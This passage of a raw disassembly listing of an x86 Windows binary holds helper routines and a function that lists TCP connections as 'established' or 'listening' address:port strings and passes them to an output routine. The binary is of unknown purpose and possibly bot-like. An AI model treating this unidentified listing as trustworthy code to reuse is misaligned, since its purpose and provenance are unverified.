dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418960: ; CODE XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449118 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D68 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D64 lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D58 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D58 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D54 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27F0C4Bh push eax nop call near ptr 77C371BCh pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j call near ptr 77C371D3h nop cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 